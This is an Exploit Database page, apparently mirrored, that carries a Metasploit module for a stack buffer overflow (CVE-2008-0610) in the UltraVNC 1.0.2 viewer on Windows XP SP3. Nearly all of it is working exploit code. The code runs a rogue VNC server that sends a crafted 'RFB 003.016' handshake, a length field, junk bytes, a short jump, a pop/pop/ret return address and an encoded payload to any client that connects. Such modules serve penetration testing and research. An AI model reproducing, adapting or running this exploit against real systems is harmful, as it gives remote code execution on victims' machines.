UltraVNC 1.0.2 Client – ‘vncviewer.exe’ Remote Buffer Overflow (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2012-03-26
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18666/

• ##
  # $Id$
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::TcpServer
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow',
  			'Description'=> %q{
  				This module exploits a buffer overflow in UltraVNC Viewer 1.0.2 Release.
  
  				If a malicious server responds to a client connection indicating a minor
  				protocol version of 14 or 16, a 32-bit integer is subsequently read from
  				the TCP stream by the client and directly provided as the trusted size for
  				further reading from the TCP stream into a 1024-byte character array on
  				the stack.
  			},
  			'Author' => 'noperand',
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision$',
  			'References' =>
  				[
  					[ 'CVE', '2008-0610' ],
  					[ 'OSVDB', '42840' ],
  					[ 'BID', '27561' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'Space'=> 500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows XP SP3',	{ 'Ret' => 0x00421a61 } ], # vncviewer.exe, 1.0.2
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Feb 6 2008',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ])
  			], self.class)
  	end
  
  	def on_client_connect(client)
  		return if ((p = regenerate_payload(client)) == nil)
  
  		sploit = rand_text_alpha(1100) 	# junk, could be more efficient here
  		sploit << "\x00\x04\x00\x00" 	 	# value to get around a write
  		sploit << rand_text_alpha(12)	 	# random junk
  		sploit << "\xEB\x06" << make_nops(2)	# short relative jump
  		sploit << [target.ret].pack('V') 	# pop/pop/ret (default is in vncviewer.exe)
  		sploit << payload.encoded
  
  =begin
  		We prepend the initial 12 bytes including the servers' desired protocol version ("RFB 003.016").
  		- These bytes are read directly by a call to ReadExact() with a size of 12.
  
  		...
  		if (m_minorVersion == 14 || m_minorVersion == 16)
  		{
  			int size;
  			ReadExact((char *)&size,sizeof(int));
  			char mytext[1024]; //10k
  			ReadExact(mytext,size);
  			mytext[size]=0;
  		...
  
  		If minor version is 16 or 14, a 32-bit integer follows indicating the size of our data to read.
  		We then append our data.
  =end
  		sploit = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x31\x36\x0a" << [sploit.length].pack('N') << sploit
  
  		print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
  		client.put(sploit)
  		handler(client)
  		service.close_client(client)
  	end
  end